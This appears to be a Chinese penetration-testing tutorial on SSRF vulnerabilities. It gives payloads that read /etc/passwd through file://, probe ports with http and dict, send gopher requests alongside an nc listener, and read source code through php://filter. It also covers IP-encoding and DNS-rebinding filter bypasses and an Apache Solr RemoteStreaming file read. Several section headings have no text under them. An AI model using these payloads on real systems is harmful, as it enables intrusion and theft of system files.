其他分享
首页 > 其他分享> > 渗透测试-15:SSRF 漏洞

渗透测试-15:SSRF 漏洞

作者:互联网

漏洞原理

漏洞危害

漏洞常出现位置

防御方式

漏洞函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取
PHP涉及到的函数主要有:

相关协议

file协议

查看文件

先在连接中使用大小字母判断操作系统,若大写有返回小写无返回则为linux系统(linux系统区分大小写)

curl -v file:///etc/passwd

?url=file:///c/windows/win.ini

http协议

探测端口:?url=http://[IP]:3306

// 若为linux系统,则可以探测是否开启ssh服务
探测端口:?url=http://[IP]:22

dict协议

探测端口:curl -v dict://[IP]:[端口]

gopher协议

端口监听:nc -lvp [端口号]

数据请求:curl -v gopher://[IP]:[端口]/[目录]/[文件]?[参数]=[值]

php协议

读取源码:http://[IP]/[路径]/[文件]?[参数]=php://filter/read=convert.base64-encode/resource=[文件]

绕过技巧

后台一般会对用户的请求中携带的内部IP地址或者HOST进行过滤,主要有以下几种方式可以绕过:
1、更改IP地址写法
2、利用解析URL所出现的问题
3、利用320跳转
4、通过非HTTP协议
5、DNS Rebinding
6、利用IPv6
7、利用IDN
8、短链接

更改IP地址写法

后台对传入的IP地址会过滤,此时需要对IP地址进行转换格式绕过过滤;对于这种过滤我们采用改变IP的写法的方式进行绕过,例如 192.168.2.108 这个IP地址可以被改写成:

8进制格式:0300.0250.2.0154
16进制格式:0xc0.0xa8.2.0x6c
10进制整数格式:3232236140
16进制整数格式:0xc0a8026c
合并后两位:0xc0.0xa8.620 或 192.168.620
合并后三位:192.11010668

利用解析URL出现问题

通过各种非HTTP协议

DNS Rebinding

DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或绕过waf进行ssrf的目的

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

Apache Solr RemoteStreaming

抓包修改配置

POST /solr/demo/config HTTP/1.1
Content-Type: application/json

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

读取文件

http://[IP]:[端口]/solr/demo/debug/dump?param=ContentStream&stream.url=file:///etc/passwd

标签:协议,15,请求,SSRF,URL,IP,端口,漏洞,http
来源: https://www.cnblogs.com/toki-plus/p/16079827.html